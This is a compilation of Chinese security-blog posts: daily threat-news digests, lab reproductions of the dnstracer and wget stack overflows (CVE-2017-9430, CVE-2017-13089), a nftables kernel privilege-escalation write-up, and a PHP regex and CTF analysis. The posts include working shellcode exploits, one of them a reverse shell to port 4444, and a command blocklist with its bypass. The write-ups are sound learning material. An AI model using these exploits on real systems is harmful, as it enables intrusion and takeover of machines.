网络安全日报 2024年04月12日
1、8220挖矿组织利用ScrubCrypt加载器传播VenomRAT https://www.fortinet.com/blog/threat-research/scrubcrypt-deploys-venomrat-with-arsenal-of-plugins 研究人员最近发现一个由攻击者分发的包含恶意SVG文件的网络钓鱼电子邮件。该电子邮件引诱受害者点击附件,该附件会下载一个ZIP文件,其中包含使用BatCloak工具混淆的Batch文件,然后使用ScrubCrypt加载器投放最终有效载荷VenomRAT,同时保持与命令和控制(C2)服务器的连接,以在受害者的环境中下载执行其他恶意软件,包括其他版本的VenomRAT、Remcos、XWorm、NanoC 2、攻击者利用恶意Visual Studio项目传播Keyzetsu恶意软件 https://www.bleepingcomputer.com/news/security/malicious-visual-studio-projects-on-github-push-keyzetsu-malware/ 攻击者正在滥用GitHub自动化功能和恶意Visual Studio项目来传播“Keyzetsu”剪贴板劫持器的新变种以窃取加密货币。该恶意软件活动使用了多个以热门主题和项目命名的GitHub存储库,攻击者利用GitHub Actions修改日志文件并进行微小的随机更改,以非常高的频率自动更新这些存储库。这样做是为了让存储库在按“最近更新”排序的搜索结果中排名靠前。另一 3、研究人员披露Pikabot恶意软件使用的混淆手段 https://www.zscaler.com/blogs/security-research/automating-pikabot-s-string-deobfuscationes/ Pikabot是一种恶意软件加载器,最初于2023年初出现,其突出功能之一是代码混淆,用以规避检测并阻止安全人员进行逆向分析。Pikabot采用混淆手段来加密二进制字符串,包括命令和控制(C2)服务器的地址。研究人员发现,在2024年初出现的Pikabot新变种中,混淆手段出现了变化:以前版本的Pikabot使用由AES-CBC和RC4 算法组合的加密技术,而这些技术已被更简单的算法所取代。 4、研究人员披露Spectre V2漏洞,影响英特尔CPU+Linux组合 https://www.bleepingcomputer.com/news/security/new-spectre-v2-attack-impacts-linux-systems-on-intel-cpus/ 研究人员已经证明了Spectre V2漏洞,该漏洞是一种新的推测执行侧信道漏洞,该漏洞会影响在许多Intel CPU上运行的Linux系统。推测执行是一种性能优化技术,现代处理器可以猜测接下来将执行哪些指令,并在知道需要它们之前开始实现它们。虽然此功能提高了性能,但它也会在CPU缓存中留下特权数据的痕迹,从而引入安全风险,包括帐户密码、加密密钥、敏感的个人或公司信息、软件代码等。两种 5、新的勒索组织Muliaka针对俄罗斯企业进行攻击 https://therecord.media/muliaka-ransomware-group-targeting-russian-businesses-conti 一个以前不为人知的勒索组织在使用Conti黑客组织泄露的源代码,使用勒索软件攻击俄罗斯企业。研究人员将该组织称为“Muliaka”,意为“浑水”,其攻击留下的痕迹很少,但可能至少自2023年12月以来就一直活跃。攻击者通过加密Windows系统和VMware ESXi虚拟基础设施来攻击一家未具名的俄罗斯企业。为了远程访问受害者的设备,攻击者使用了该公司的虚拟专用网络(VPN)服务,并将勒索软件伪装成安装在公司计算机上的流行企业 6、谷歌将删除收集的数百万用户的浏览器搜索记录 https://www.secrss.com/articles/65108 美国加利福尼亚州的三名原告提起了一项集体诉讼,称谷歌可能违反了联邦窃听法和加利福尼亚州的隐私法,并提出了至少 50 亿美元的赔偿请求。 7、美国环保署遭黑客攻击,近千万用户数据泄露 https://www.hackread.com/us-environmental-protection-agency-hacked-data-leaked/ 美国环境保护署(EPA)发生大规模数据泄露事件,超过 850 万用户数据遭泄露。化名“USDoD”的黑客上周日宣布对该事件负责,并声称泄露了 EPA 的客户和承包商的个人敏感信息。 8、Crowdfense扩大零日漏洞收购规模,预算高达3000万美元 https://www.secrss.com/articles/65139 零日漏洞经纪公司Crowdfense近日宣布更新其漏洞收购计划,报价高达3000万美元(约合人民币2.17亿元)。 9、eXotic Visit间谍软件活动针对印度和巴基斯坦的安卓用户 https://thehackernews.com/2024/04/exotic-visit-spyware-campaign-targets.html 一个名为 eXotic Visit 的活跃 Android 恶意软件活动主要针对南亚用户,特别是印度和巴基斯坦的用户,恶意软件通过专门网站和 Google Play 商店分发。 10、Fortinet 推出针对FortiClientLinux漏洞的安全补丁 https://thehackernews.com/2024/04/fortinet-has-released-patches-to.html Fortinet 已发布补丁来解决影响 FortiClientLinux 的关键安全漏洞,该漏洞可被利用来实现任意代码执行。该漏洞的编号为 CVE-2023-45590,CVSS 评分为 9.4 分(满分 10 分)。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
从CVE复现看栈溢出漏洞利用
最近复现了两个栈溢出漏洞的cve,分别是CVE-2017-9430和CVE-2017-13089,简单记录一下real wrold中的栈溢出漏洞学习。目前,栈溢出漏洞主要出现在iot固件中,linux下的已经很少了,所以这两个洞都是17年,比较早,但还是能学到一些东西。 CVE-2017-9430 1.漏洞描述 dnstracer 1.9 及之前版本中基于堆栈的缓冲区溢出允许攻击者通过命令行造成拒绝服务(应用程序崩溃),或者可能通过命令行造成未指定的其他影响。 2.环境搭建 编译安装DNSTracer 1.9 wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz tar zxvf dnstracer-1.9.tar.gz cd dnstracer-1.9 ./confugure make && sudo make install 在make前,修改Makefile CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32 编译好后,关闭ASLR sudo echo 0 > /proc/sys/kernel/randomize_va_space 或者 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" 3.漏洞成因 程序在处理命令行参数时,调用strcpy函数对argv[0]进行处理时,由于处理不当,导致了栈溢出漏洞。 4.漏洞利用 这里在进行利用时,关闭了ASLR、PIE、Canary、RELRO、NX等缓解机制。 由于strcpy未对参数长度进行检查,这里导致的栈溢出漏洞可以溢出足够的字符长度,并且关闭了各种缓解机制,所以我们通过返回到shellcode的方式获取shell。但在复现的过程中,发现一个有趣的地方。如果我直接溢出到返回地址,并不能完成预想的get shell。回到汇编 发现了问题,这里在ret之前,栈指针变了,是由ecx的值决定的,而ecx是从栈pop出来的。分析这段汇编代码发现,如果正常情况下,最后esp的位置和直接返回的没有这段处理代码的位置相同,但由于由这段代码,就导致不能直接覆盖到返回地址,否则会在执行倒数第二条汇编指令时触发非法地址。 所以,这里不能直接覆盖到返回地址,而是要通过布置栈中数据控制ecx,从而将ecx-4处的地址赋给esp,使esp指向存有shellcode地址的位置,这样就可以正常完成get shell了。 内存布局如下图 exp如下: #!/usr/bin/python3 # -*- encoding: utf-8 -*- from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'info') # context(os = 'linux', arch = 'amd64', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h'] elf = './dnstracer-1.9/dnstracer' # elf = ELF('./simpleinterpreter') #----------------------------------------------------------------------------------------- rv = lambda x           : p.recv(x) rl = lambda a=False     : p.recvline(a) ru = lambda a,b=True     : p.recvuntil(a,b) rn = lambda x           : p.recvn(x) sn = lambda x           : p.send(x) sl = lambda x           : p.sendline(x) sa = lambda a,b         : p.sendafter(a,b) sla = lambda a,b         : p.sendlineafter(a,b) u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00')) u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00')) inter = lambda           : p.interactive() debug = lambda text=None : gdb.attach(p, text) lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr)) #----------------------------------------------------------------------------------------- if __name__ == "__main__": filling = "\x90"*(1050-32-32-1-0x300)    filling += "\x4c\xcd\xff\xff"     # ShellcodeAddress    filling += "\x90"*0x300       # 0xffffcd4c    filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa"    filling += "bbbb"*4    filling += "\x4c\xcd\xff\xff" # ecx   esp=[ecx-4]    payload = filling    p = gdb.debug([elf, payload],"b *0x0804969E")    inter() 5.坑点 在复现的时候还有一些坑点,我暂时也不知道原因。 ①第一点就是这个在返回前对esp进行处理的汇编,我不知道为什么我编译出来的程序会有这一段,在网上看其他师傅复现的文档,都没有遇到这个问题,疑惑ing。 ②第二点是我在复现的时候,明明已经关闭了ASLR了,按理说每次调试的时候,栈地址应该不会变才对,但事实上,我当天的地址是固定的,但隔天可能就会有0x10的偏移,很诡异,这就导致exp无法稳定攻击,为此只能在shellcode前面加很多的nop,让这个地址即使发生了偏移也能完成利用。 CVE-2017-13089 1.漏洞描述 http.c:skip_short_body() 函数在某些情况下被调用,例如在处理重定向时,在 1.19.2 之前的 wget 中分块发送响应时,块解析器使用 strtol() 读取每个块的长度,但不检查块长度是否为非负数,然后,代码尝试使用 MIN() 宏跳过 512 字节的块,但最终将负块长度传递给 connect.c:fd_read(),由于 fd_read() 采用 int 参数,因此丢弃了块长度的 32 位高位,使 fd_read() 具有完全由攻击者控制的长度参数。 2.环境搭建 在ubuntu16.04下搭建会比较稳定。 sudo apt-get install libneon27-gnutls-dev wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz tar zxvf wget-1.19.1.tar.gz cd wget-1.19.1 sudo apt-get remove wget ./configure make && sudo make install 3.漏洞成因 由于使用strtol来读取每个块的长度,但没有进行负数检查。 例如读入长度为-0xFFFFF000,经过处理得到v22为0xffffffff00001000 后面有3次对长度的校验,但都只进行了上限校验,未进行下限校验,由于v22是int,且符号位为1,都满足校验条件,最终将长度传入函数fd_read。 由于fd_read()函数的长度参数即a3为无符号数,就使得读取的长度由用户可控,造成了栈溢出。 4.漏洞利用 这里在进行利用时,我们首先关闭ASLR、PIE、Canary、RELRO、NX等缓解机制。 根据漏洞成因的分析,我们可以先构造poc,控制读取的长度为我们利用需要的size,这里我设置为0x1000,相应poc如下 payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """ 调试方式: 生成poc python3 exp.py 发包窗口 nc -lp 6666 < poc2             gdb调试窗口 gdb wget b *addr r localhost:6666 先执行exp,生成poc,然后发包,然后执行wget http://localhost:6666 这个的栈溢出就比前面那个cve的栈溢出正常一点,直接覆盖返回地址为shellcode的地址就可以了。由于我们这里关闭了所有缓解机制,就直接在栈中布置shellcode,获取shellcode地址,覆盖到返回地址就ok了。 exp如下 from pwn import * payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """ context(arch='amd64', os='linux') sc = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh()) #print(sc) payload = payload.encode() payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568 stack = 0x7fffffffd190 payload += p64(stack) #输入数据起始地址 payload += b"\n0\n" with open('poc2','wb') as f: f.write(payload) 但是,如果开了ASLR,怎么办呢,我们很自然地会想到jmp reg的方式。 首先看看ret的时候,有没有寄存器可以用 很巧,rsi正好指向我们的shellcode,于是我们就可以去找个jmp rsi的gadget完成ASLR的绕过 直接找gadget比较慢,可以先把所有gadget重定向到txt中,然后在txt中查找会比较快 ROPgadget --binary=wget > gadget.txt cat gadget.txt | grep 'jmp rsi' 得到绕过ASLR的exp from pwn import * payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """ context(arch='amd64', os='linux') sc = asm(shellcraft.connect('192.168.110.138',4444)+shellcraft.dupsh()) #print(sc) payload = payload.encode() payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568 stack = 0x7fffffffd190 jmp_rsi = 0x0000000000475bcb #payload += p64(stack) #输入数据起始地址 payload += p64(jmp_rsi) payload += b"\n0\n" with open('poc2','wb') as f: f.write(payload) 可以看到,成功绕过了ASLR缓解机制,执行shellcode 5.坑点 在复现的过程中,我发现在关闭ASLR时,我通过第一种方式攻击,必须在gdb中执行才能成功,如下图 直接在命令行中执行wget http://localhost:6666会崩溃 但绕过ASLR的exp就可以直接执行,我怀疑是没有把ASLR完全关闭,但查看ASLR的值确实都是0,不知道为啥会这样。 小总结 在对这两个cve的复现中,对栈溢出漏洞的ret2shellcode和jmp reg两种利用方式进行了复习,遇到了一点比较有意思的东西,比如第一个cve中ret前对esp的改变。不论是在ctf中还是realworld,程序的利用最终一定是基于对程序汇编的理解,遇到问题,回归本源。
网络安全日报 2024年04月11日
1、研究人员发现名为RUBYCARP的僵尸网络 https://sysdig.com/blog/rubycarp-romanian-botnet-group/ 研究人员最近发现了一个由罗马尼亚攻击者组织运营的僵尸网络,并将其命名为RUBYCARP。有证据表明,该攻击者已经活跃了至少10年,其主要攻击方法是利用各种公共漏洞和暴力破解攻击来部署僵尸网络。该攻击者通过公共和私人IRC网络进行通信,开发网络武器,并利用其僵尸网络进行挖矿以及发起网络钓鱼攻击获得,以此获取经济利益。 2、威斯康辛州医疗中心GHC-SCW遭受勒索组织攻击 https://www.bleepingcomputer.com/news/security/ghc-scw-ransomware-gang-stole-health-data-of-533-000-people/ 非营利性医疗保健服务提供商威斯康星州中南部团体健康合作社(GHC-SCW 披露,一个勒索组织在1月份入侵了其网络,窃取了包含超过500000人的个人和医疗信息的文件。但是,攻击者未能对受感染的机器进行加密。收到此次事件影响的健康数据包括个人的姓名、地址、电话号码、电子邮件地址、出生或死亡日期、社会安全号码、会员号码以及医疗保险或医疗补助号码。GHC-SCW尚未透露具体的攻击者,但 3、微软于4月份周二补丁日修复多个安全漏洞 https://www.bleepingcomputer.com/news/microsoft/microsoft-april-2024-patch-tuesday-fixes-150-security-flaws-67-rces/ 微软于2024年4月周二补丁日修复多个安全漏洞,涉及针对150个漏洞和67个远程代码执行漏洞的安全更新。在本次的周二补丁日中,只有3个关键漏洞被修复,但有超过67个远程代码执行(RCE)漏洞。超过一半的RCE漏洞是在Microsoft SQL驱动程序中发现的。 4、研究人员在SharePoint中发现安全漏洞 https://www.bleepingcomputer.com/news/security/new-sharepoint-flaws-help-hackers-evade-detection-when-stealing-files/ Microsoft SharePoint是一个基于Web的协作平台,与Microsoft Office和365集成,主要作为文档管理和数据存储系统。研究人员发现了两种技术,可以使用户能够绕过审计日志或通过以某种方式下载数据或将其伪装成数据同步操作来生成不太敏感的事件。统计人员在2023年11月披露了这些漏洞,但是,这些问题被评估为中等严重性,因此不会立即得到修 5、Rust标准库中存在高危漏洞 https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/ Rust标准库中存在高危漏洞,攻击者可以利用Rust标准库中的安全漏洞,以Windows系统为目标进行命令注入攻击。该漏洞被标记为CVE-2024-24576,是由于操作系统命令和参数注入漏洞造成的,这些漏洞可能让攻击者在操作系统上执行恶意命令。GitHub将此漏洞评估为高危,CVSS评分为10/10。未经身份验证的攻击者可以在低复杂度攻击中远程利用它,而无需用户交互。 6、LG智能电视WebOS系统存在安全漏洞 https://www.bleepingcomputer.com/news/security/over-90-000-lg-smart-tvs-may-be-exposed-to-remote-attacks/ 安全研究人员发现了四个漏洞,这些漏洞影响了LG智能电视WebOS系统的多个版本。这些漏洞允许对受影响的模型进行不同程度的未经授权的访问和控制,包括绕过授权、权限提升和命令注入。这些安全漏洞被标记为:CVE-2023-6317 、CVE-2023-6318、CVE-2023-6319、CVE-2023-6320。 7、芬兰阿尔托大学一项新研究表明苹果“强制”收集用户数据 https://www.freebuf.com/news/397382.html 研究人员研究了八款应用程序,分别是Safari,Siri,家庭共享,iMessage,FaceTime,定位服务,查找和Touch ID。他们发现,无论是iPhone、iPad或MacBook,默认应用程序即使在显示为禁用状态时也会收集用户数据,这表明苹果用户无法完全控制他们的隐私。 8、遭受网络攻击后,日本公司 Hoya 被迫暂停生产 https://cybernews.com/news/hoya-cyberattack-affects-production/ 此次网络攻击的全部范围尚未确定。不过,漏洞已经影响到 Hoya 产品的生产和销售。 9、第二个团伙 RansomHub 勒索美国联合健康集团 https://www.inforisktoday.com/second-gang-shakes-down-unitedhealth-group-for-ransom-a-24803 RansomHub声称被盗的Change Healthcare数据涉及“数百万”名美国现役军人和海军人员、医疗和牙科记录、付款和索赔信息、患者社会安全号码等个人信息,以及保险记录、3000多个Change Healthcare解决方案的源代码文件等。 10、随手分享的APP链接,可能会让你“大型社死” https://www.freebuf.com/articles/neopoints/397225.html 除了小红书以外,根据网站开发者的描述,日常中我们耳熟能详的、使用率极高的大部分APP,包括微博、网易云音乐、QQ音乐、全民K歌、喜马拉雅、雪球、Keep、汽水音乐、百度、小宇宙、知乎......等等,无一例外,都可能会透过分享链接轻松识别你的账号ID。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
KASLR绕过及提权利用(CVE-2023-35001)
前言 本文将介绍如何绕过KASLR以及如何提权利用。 KASLR绕过 可以利用byteorder操作加上netlink组订阅可以泄露rule中的handle字段。该方法应该是可以用来泄露kernel基地址的,但是作者还提出另一种方法进行泄露。应该是为了提权利用做铺垫。 由于发现已经泄露的模块的基地址,因此可以利用模块地址伪造表达式。 作者找到了range表达式,用于伪造其余表达式。总大小为0x23。并且表达式是八字节对齐的,因此该结构体会占用0x28字节。 struct nft_range_expr { struct nft_data data_from; struct nft_data data_to; u8 sreg; u8 len; enum nft_range_ops op:8; }; 具体的布局如下 可以看到data_from与data_to都是从用户态中传递过去的数据,因此我们可以在这些区域内伪造表达式,这有点像在CTF中,我们泄露了堆块基址后,随意伪造堆块。 由于我们有0x28字节的空间,但是实际能够操作的空间是data_from与data_to两段,即0x20的空间大小。因此我们需要挑选小于0x20的规则表达式进行伪造,并且能够执行泄露功能的。 这里作者选用了byteorder表达式,可以看到该表达式在对齐后只占用八字节。 struct nft_byteorder { u8 sreg; u8 dreg; enum nft_byteorder_ops op:8; u8 len; u8 size; }; 构造后,可以发现还有八字节的data_to没有用,但是并不能直接丢弃不适用,因为在调用完byteorder操作后还需要继续执行其他规则表达式。 但是其他表达式都是需要大于0x8的,毕竟一个操作指针就占用八字节了,此时作者选用了meta表达式。可以看到meta表达式也只用到了三个字节,刚好对应range表达式的sreg、len以及op。 struct nft_meta { enum nft_meta_keys key:8; u8 len; union { u8 dreg; u8 sreg; }; }; meta表达式的操作如下,在meta表达式中meta->key执行具体的操作,如[1],但是若该值是非法值则会执行[2],可以看到该meta表达式仅会抛出异常,但是不会终止运行,这就说明即使meta->key是非法值也不会影响后续规则表达式的正常执行。 File: linux-5.19\net\netfilter\nft_meta.c 418: void nft_meta_set_eval(const struct nft_expr *expr, 419:       struct nft_regs *regs, 420:       const struct nft_pktinfo *pkt) 421: { 422: const struct nft_meta *meta = nft_expr_priv(expr); 423: struct sk_buff *skb = pkt->skb; 424: u32 *sreg = &regs->data[meta->sreg]; 425: u32 value = *sreg; 426: u8 value8; 427: 428: switch (meta->key) { ----> [1] 429: case NFT_META_MARK: 430: skb->mark = value; 431: break; 432: case NFT_META_PRIORITY: 433: skb->priority = value; 434: break; 435: case NFT_META_PKTTYPE: 436: value8 = nft_reg_load8(sreg); 437: 438: if (skb->pkt_type != value8 && 439:    skb_pkt_type_ok(value8) && 440:    skb_pkt_type_ok(skb->pkt_type)) 441: skb->pkt_type = value8; 442: break; 443: case NFT_META_NFTRACE: 444: value8 = nft_reg_load8(sreg); 445: 446: skb->nf_trace = !!value8; 447: break; 448: #ifdef CONFIG_NETWORK_SECMARK 449: case NFT_META_SECMARK: 450: skb->secmark = value; 451: break; 452: #endif 453: default: 454: WARN_ON(1); ---->[2] 455: } 456: } 因此第二个伪造的表达式也找到了,就是meta表达式。由于我们直接伪造了规则表达式,因此不会进行寄存器参数的校验,只要选择内核地址选择泄露即可。 这里简单说一下伪造的规则头,此时的len需要设置为0x20以及islast需要设置为0。 最后泄露的效果如下,即使内核已经抛出了异常,但是不会影响后续表达式的正常执行。 提权利用 既然可以随意伪造表达式,因此我们可以伪造payload表达式。 struct nft_payload { enum nft_payload_bases base:8; u8 offset; u8 len; u8 dreg; }; 在regs下方存在着nft_do_chain函数返回地址,因此可以直接通过payload表达式将提权payload注入进来。 由于我们可以伪造payload表达式,因此注入的payload长度不受限,因此采用 commit_creds(prepare_kernel_cred(0)),构造root凭证 接着利用find_task_by_vpid、init_nsproxy以及switch_task_namespaces切换命名空间。 最后利用蹦床swapgs_restore_regs_and_retrun_to_usermode返回到用户空间完成提权利用。 完整exp:https://github.com/h0pe-ay/Vulnerability-Reproduction/tree/master/CVE-2023-35001(nftables)
网络安全日报 2024年04月10日
1、攻击者利用虚假电子商务网站传播恶意安卓应用 https://cyble.com/blog/elevating-the-stakes-the-enhanced-arsenal-of-the-fake-e-shop-campaign/ 2022年9月,研究人员注意到利用虚假电子商务网站的攻击活动大幅上升,该活动一直积极地针对马来西亚、越南和缅甸。该活动始于2021年,主要针对马来西亚的多家银行,后来其范围扩大至包括越南和缅甸的实体。研究人员最近发现此类相关网络钓鱼网站有所增加,并确定了10多个主动传播恶意APK的网站。最初,该活动分发的APK文件主要利用网络钓鱼技术以及SMS窃取程序来窃取用户凭据。但是,该恶意软件的最新版本已对功能进行升 2、研究人员在Hugging Face中发现安全漏洞 https://www.infosecurity-magazine.com/news/wiz-discovers-flaws-generative-ai Hugging Face是共享AI模型和应用程序的中心,研究人员在上传到Hugging Face的生成式AI模型中发现了两个关键的架构缺陷。在分析了上传到Hugging Face上的几个AI模型后,研究人员发现,其中一些模型正在共享推理基础设施。研究人员表示,推理基础设施经常运行不受信任的、潜在的恶意模型。研究人员还描述了攻击者可以采取一些方法来利用这两种风险,包括:使用导致模型产生错误预测的输入、使用输入生成在应用程序中不安全使用的正确预 3、勒索组织Hunters International声称攻击贝纳通集团 https://cybernews.com/news/benetton-group-claimed-by-hunters-international/ 据称,全球时尚公司贝纳通集团遭到勒索组织Hunters International的攻击,网络犯罪分子声称窃取了433GB的数据。根据该组织发布的暗网消息,包含33.8MB客户数据的10个文件将在1天16小时后披露,该组织暂未提供数据示例。目前该集团尚未确认此次事件。 4、微软修补了Azure Kubernetes服务容器中的漏洞 https://www.securityweek.com/microsoft-plugs-gaping-hole-in-azure-kubernetes-service-confidential-containers/ 星期二补丁:微软警告未经身份验证的黑客可以完全控制 Azure Kubernetes 集群。 5、超过9.1万台运行WEBOS的 LG智能电视易受到黑客攻击 https://securityaffairs.com/161651/hacking/lg-smart-tvs-vulnerable.html 研究人员在智能电视上运行的 LG webOS 中发现了多个漏洞,可能允许攻击者获得设备的 root 访问权限。 6、Google 宣布推出 V8 Sandbox 来保护 Chrome https://securityaffairs.com/161622/security/google-v8-sandbox.html 谷歌宣布在 Chrome 网络浏览器中支持 V8 沙箱,以保护用户免受触发内存损坏问题的攻击。 7、ScrubCrypt 使用大量插件部署 VenomRAT https://www.fortinet.com/blog/threat-research/scrubcrypt-deploys-venomrat-with-arsenal-of-plugins 网络安全研究人员发现了一种复杂的多阶段攻击,该攻击利用以发票为主题的网络钓鱼诱饵来传播各种恶意软件,例如 Venom RAT、Remcos RAT、XWorm、NanoCore RAT 以及针对加密钱包的窃取程序。 8、工信部发布关于防范利用xz-utils植入漏洞风险提示 https://www.secrss.com/articles/65023 近日,工业和信息化部网络安全威胁和漏洞信息共享平台(NVDB)监测发现,Linux压缩工具xz-utils存在恶意代码植入漏洞,可被恶意利用实施网络攻击。 9、越南黑客瞄准亚洲各地的金融数据 https://www.inforisktoday.com/vietnamese-threat-actor-targeting-financial-data-across-asia-a-24796 思科Talos的研究人员发现了一组黑客活动,黑客攻击印度,中国,韩国,孟加拉国,巴基斯坦,印度尼西亚和国内目标,并带有渗透恶意软件,其目的是收集公司证书和财务数据,以便在在线犯罪市场转售。 10、Hugging Face 与 Wiz 合作开发 AI 安全 https://cybernews.com/security/hugging-face-partners-with-wiz/#google_vignette 网络安全公司 Wiz 与 Hugging Face 合作,修补 AI 云提供商架构中的漏洞,这些漏洞可能使其客户数据面临风险。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
关于转义符 \ 在php正则中的匹配问题
今天做题遇到一个很经典的问题,记录一下,先看一段代码 <?php $str,=,"\\"; $pattern,=,"/\\/"; if(preg_match($partern,$str,$arr)) { ,,,,echo,"success"; ,,,,print_r($arr); }else{ ,,,,echo,"false"; } 看到这段代码的师傅们,思考一下,会输出success还是false 输出false,正则没有被匹配到,为什么呢? php对转义符的解析 php解析正则时分为了两个步骤,一个是php对字符串的解析,之后才是对正则的解析,那么php在解析字符串时什么时候才会将\解析为转义呢?只有在某一字符会对这一语句产生混淆时,php才会将\解析为转义。 分析一个正则匹配 首先php对字符串进行解析: 在这种情况下可以看到str中\并没有被当成转义符 而在pattern中,由于有多个\并且在正则表达式中存在/,会混淆正则表达式的边界,因此这四个转义符的作用分别是: 第一个转义符转义第二个转义符 第三个转义符转义第四个转义符,第五个转义符转义/ 因此php最终解析出的str为,\/,pattern为,\\/ 到preg_match时,进行正则解析(正则解析只解析正则表达式): 将pattern中的,\\/,解析为\/,(第一个转义符转义了第二个转义符) 经过php和正则的解析后,我们可以发现str与pattern是一样的字符串了,所以应该会输出success,并且匹配到的部分为\/ 验证成功 这里提出一个问题,如果在pattern中,我的正则内容中不想使用\来转义/,并且还想输出success,那应该怎么修改正则内容呢? 我们刚才提到,转义是为了防止语句中的字符产生混淆,/与正则边界产生了混淆,所以我们用其他的字符作为边界就好了,比如# 总结:在一般情况下,只有字符串中的某一字符会对该语句产生混淆,这时该符号前的\才具有转义作用。 这里我在做测试有一个小坑 首先php的字符串解析:可以看到由于字符串中并没有可能会产生混淆语句的字符,因此\都没有转义作用。 正则进行解析(只解析正则表达式,不解析其他字符串):pattern中的\/被解析成了/, 因此最终的正则匹配是在字符串\/中匹配/,因此输出了/ 这里我一开始以为str中的\也发挥了转义作用,其实并不是。 回到最初的问题,为什么输出了false <?php $str,=,"\\";, $pattern,=,"/\\/";,, if(preg_match($partern,$str,$arr)) { ,,,,echo,"success"; ,,,,print_r($arr); }else{ ,,,,echo,"false"; } 按照上面的流程分析, 首先php进行字符串解析: str被解析为\,pattern被解析为\ 进行正则表达式解析: pattern中含有转义符\,现在正则需要这个转义符去发挥转义作用,但在正则表达式中已经没有其他字符去转义了,导致了正则表达式的解析错误,pattern最终被解析成了什么我们也不知道 所以最终在进行正则匹配时会输出false 那么我们应该怎么让它输出success呢? php正则如何正确匹配\ 刚才我们提到在正则解析时只剩下了一个\,导致了解析的错误,那么如果我们在正则解析这步剩下两个\是不是就可以在正则解析中保留下一个\呢?再往前推,如果想要正则解析这步里保留两个\,那么在定义partern字符串的时候我们是不是要写四个\才可以? 具体的解析过程我就不讲了,跟上面是完全一样的。 总结:php在正则中匹配\时需要在正则表达式中写入四个\ 一道ctf题的分析 题目来源:[安洵杯,2019]easy_web,wp移步主页查找,如果没有就是还没写完。 if,(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",,$cmd)),{ ,,,,echo("forbid,~"); 在这一段代码中对传入的cmd命令进行了过滤,并且可以看到其中有四个反斜杠,对\做出了过滤,但最后仍然可以用反斜线逃逸,ca\t,l\s执行命令,这是为什么呢? 按照我们上面所说的进行分析,首先php对字符串进行解析: \\被解析为\ \\\\,被解析为\\ 经过字符串解析,原本的|\\|\\\\|,变成了|\|\\| 正则表达式解析: 第一个\|被解析为| \\被解析为\ 经过两次解析后,最终的正则表达式变成了||\|,所以实际上是对|\进行了过滤,所以就可以使用\进行绕过了。 因此解决的办法是在正则过滤中不要添加\\这一项,会导致整个正则表达式直接变味。 这里跟着原帖看发现原帖说的有点问题,自己思考了一下做出了一些猜想,发现是正确的。 还有原帖中提到的一个问题,这里为什么随便一个字符串甚至是空都可以匹配成功,因为在|\\\\|的左右两边没有东西,为空,所以随便匹配都可以匹配到。 解决方法就是两边加上东西就可以了。 自己的小感想 这道题在网上的wp基本都是直接用\去执行命令,但很少有人能去讨论为什么可以这么绕过,后端代码已经做出了过滤,为什么还是会被绕过,我很幸运能够看到更深的分析,这也是我第一次自己有独立的想法去不断的调试代码,虽然每一次看到其他大佬wp里不合理的地方感觉很迷茫,但是还找不到理由,但是经过不断的调试发现有些其他大佬的东西也不一定就都是对的,而且自己不断调试后找到问题有一种说不出来的成就感,总结起来就是看问题要深入,有耐心。引用原帖的一句话就是
网络安全日报 2024年04月09日
1、攻击者通过虚假的NordVPN传播恶意软件SecTopRAT https://www.malwarebytes.com/blog/threat-intelligence/2024/04/bing-ad-for-nordvpn-leads-to-sectoprat 研究人员通过必应搜索引擎搜索“nord vpn”时,发现了一个冒充NordVPN的恶意广告,该虚假网站看起来与被冒充的官方网站相同。下载的文件名称为NordVPNSetup.exe并经过数字签名,但是签名无效。该文件包含NordVPN的安装程序和恶意软件有效负载。NordVPN的安装程序旨在让受害者产生一种错觉,让他们认为正在安装一个真实的程序。恶意软件的有效负载被注入至MSBuild.exe 2、HTTP/2协议漏洞可导致拒绝服务攻击 https://www.bleepingcomputer.com/news/security/new-http-2-dos-attack-can-crash-web-servers-with-a-single-connection/ 名为“CONTINUATION Flood”的HTTP/2协议漏洞可导致拒绝服务(DoS) 攻击,在某些实现中使具有单个TCP连接的Web服务器崩溃。研究人员称,该漏洞与HTTP/2 